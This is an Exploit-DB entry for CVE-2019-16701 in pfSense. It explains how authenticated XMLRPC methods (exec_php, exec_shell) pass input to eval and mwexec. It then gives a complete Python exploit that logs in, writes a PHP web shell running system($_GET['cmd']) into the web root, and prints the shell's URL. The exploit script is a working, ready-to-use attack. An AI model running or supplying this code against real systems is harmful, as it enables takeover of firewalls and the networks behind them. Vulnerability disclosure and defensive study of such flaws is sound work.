标题: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection EDB-ID: 47413 CVE: 2019-16701 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-24 漏洞利用脚本: # Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection
# Date: 23/09/2018
# Author: Nassim Asrir
# Vendor Homepage: https://www.pfsense.org/
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: CVE-2019-16701
# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3
######################################################################################################

1 : About Pfsense:
==================

pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.

2 : Technical Analysis:
=======================

The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.

XMLRPC methods:

pfsense.exec_shell
pfsense.exec_php
pfsense.filter_configure
pfsense.interfaces_carp_configure
pfsense.backup_config_section
pfsense.restore_config_section
pfsense.merge_config_section
pfsense.merge_installedpackages_section_xmlrpc
pfsense.host_firmware_version
pfsense.reboot
pfsense.get_notices
system.listMethods
system.methodHelp
system.methodSignature

As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.

2 : Static Analysis:
====================

In the static analysis we will analysis the xmlrpc.php file. 

Line (73 - 82)

This code check if the user have enough privileges.

$user_entry = getUserEntry($username);
  /*
   * admin (uid = 0) is allowed 
   * or regular user with necessary privilege
   */
  if (isset($user_entry['uid']) && $user_entry['uid'] != '0' &&
      !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) {
   log_auth("webConfigurator authentication error for '" .
       $username . "' from " . $this->remote_addr .
       " not enough privileges");
    

Line (137 - 146)

This part of code is the interest for us.

As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).

 public function exec_php($code) {
  $this->auth();

  eval($code);
  if ($toreturn) {
   return $toreturn;
  }

  return true;
 }
 
Line (155 - 160)

In this part of code also we have a check for auth then the execution for ($code)
 
 public function exec_shell($code) {
  $this->auth();

  mwexec($code);
  return true;
 }
 
3 - Exploit:
============

#!/usr/bin/env python

import argparse
import requests
import urllib2
import time
import sys
import string
import random

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()

rhost = args.rhost
password = args.password
print ""

print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection"
print ""
print "[+] Author: Nassim Asrir"
print ""

command = "<?xml version='1.0' encoding='iso-8859-1'?>"
command += "<methodCall>"
command += "<methodName>pfsense.host_firmware_version</methodName>"
command += "<params>"
command += "<param><value><string>"+password+"</string></value></param>"
command += "</params>"
command += "</methodCall>"

stage1 = rhost + "/xmlrpc.php"

page = urllib2.urlopen(stage1, data=command).read()

print "[+] Checking Login Creds"


if "Authentication failed" in page:

 print "[-] Wrong password :("
 sys.exit(0)
else:

 random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])

 print "[+] logged in successfully :)" 
 print "[+] Generating random file "+random+".php"
 print "[+] Sending the exploit ....."
 

 command = "<?xml version='1.0' encoding='iso-8859-1'?>"
 command += "<methodCall>"
 command += "<methodName>pfsense.exec_php</methodName>"
 command += "<params>"
 command += "<param><value><string>"+password+"</string></value></param>"
 command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"
 command += "</params>"
 command += "</methodCall>"

stage1 = rhost + "/xmlrpc.php"

page = urllib2.urlopen(stage1, data=command).read()

final = rhost+"/"+str(random)+".php"

check = urllib2.urlopen(final)

print "[+] Checking ....."

if check.getcode() == 200:

 print "[+] Yeah! You got your shell: " + final+"?cmd=id"
else:

 print "[+] Sorry :( Shell not found check the path" URL: https://www.exploit-db.com/exploits/47413